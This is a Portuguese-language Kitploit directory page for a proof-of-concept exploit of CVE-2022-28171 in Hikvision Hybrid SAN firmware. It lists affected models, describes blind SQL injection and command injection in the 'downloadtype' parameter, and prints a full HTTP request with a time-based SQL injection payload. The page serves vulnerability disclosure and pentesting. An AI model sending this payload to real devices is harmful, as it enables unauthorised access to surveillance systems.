Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-28171-POC — Exploit em Python para CVE-2022-28171 visando dispositivos Hikvision Hybrid SAN, automatizando blind SQL injection e command injection para alcançar execução remota de código. | Kitploit
Ferramentas/GitHubGitHub/nyameeeain/cve-2022-28171-poc
Segurança IoTAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubnyameeeain/cve-2022-28171-poc

CVE-2022-28171-POC

Exploit em Python para CVE-2022-28171 visando dispositivos Hikvision Hybrid SAN, automatizando blind SQL injection e command injection para alcançar execução remota de código.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
41há 3 anosAinda não revisado

CVE-2022-28171-POC

Publiquei originalmente isso no ExploitDB, que você pode encontrar em https://www.exploit-db.com/exploits/51607

Firmware Hikvision Hybrid SAN Ds-a71024 - Múltiplas Execuções Remotas de Código

root@kitploit:~
# Date: 16  July 2023
# Exploit Author: Thurein Soe
# CVE : CVE-2022-28171
# Reference Link: https://cve.report/CVE-2022-28171
# Vulnerable Versions:
Ds-a71024 Firmware
Ds-a71024 Firmware
Ds-a71048r-cvs Firmware
Ds-a71048 Firmware
Ds-a71072r Firmware
Ds-a71072r Firmware
Ds-a72024 Firmware
Ds-a72024 Firmware
Ds-a72048r-cvs Firmware
Ds-a72072r Firmware
Ds-a80316s Firmware
Ds-a80624s Firmware
Ds-a81016s Firmware
Ds-a82024d Firmware
Ds-a71048r-cvs
Ds-a71024
Ds-a71048
Ds-a71072r
Ds-a80624s
Ds-a82024d
Ds-a80316s
Ds-a81016s

Descrição do Fabricante:

A Hikvision é um fabricante e fornecedor líder mundial de vigilância, equipamentos de videovigilância e Internet das Coisas (IoT) para fins civis e militares. Alguns produtos Hikvision Hybrid SAN eram vulneráveis a múltiplas vulnerabilidades de execução remota de código, como injeção de comandos, injeção SQL cega, contrabando de requisições HTTP e cross-site scripting refletido. Isso resultou em execução remota de código, sendo possível executar comandos arbitrários do sistema operacional e muito mais.

Descrição da Vulnerabilidade

O teste manual confirmou que o parâmetro "downloadtype" era vulnerável a injeção SQL cega e injeção de comandos. Criei um script Python para automatizar e enumerar versões do SQL, pois a aplicação estava atrás de um firewall e bloqueava todas as requisições do SQLmap.

Corpo da Requisição

root@kitploit:~
GET /web/log/dynamic_log.php?target=makeMaintainLog&downloadtype='(select*from(select(sleep(10)))a)' HTTP/1.1
Host: X.X.X.X.12:2004
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Connection: close
Baixar ferramenta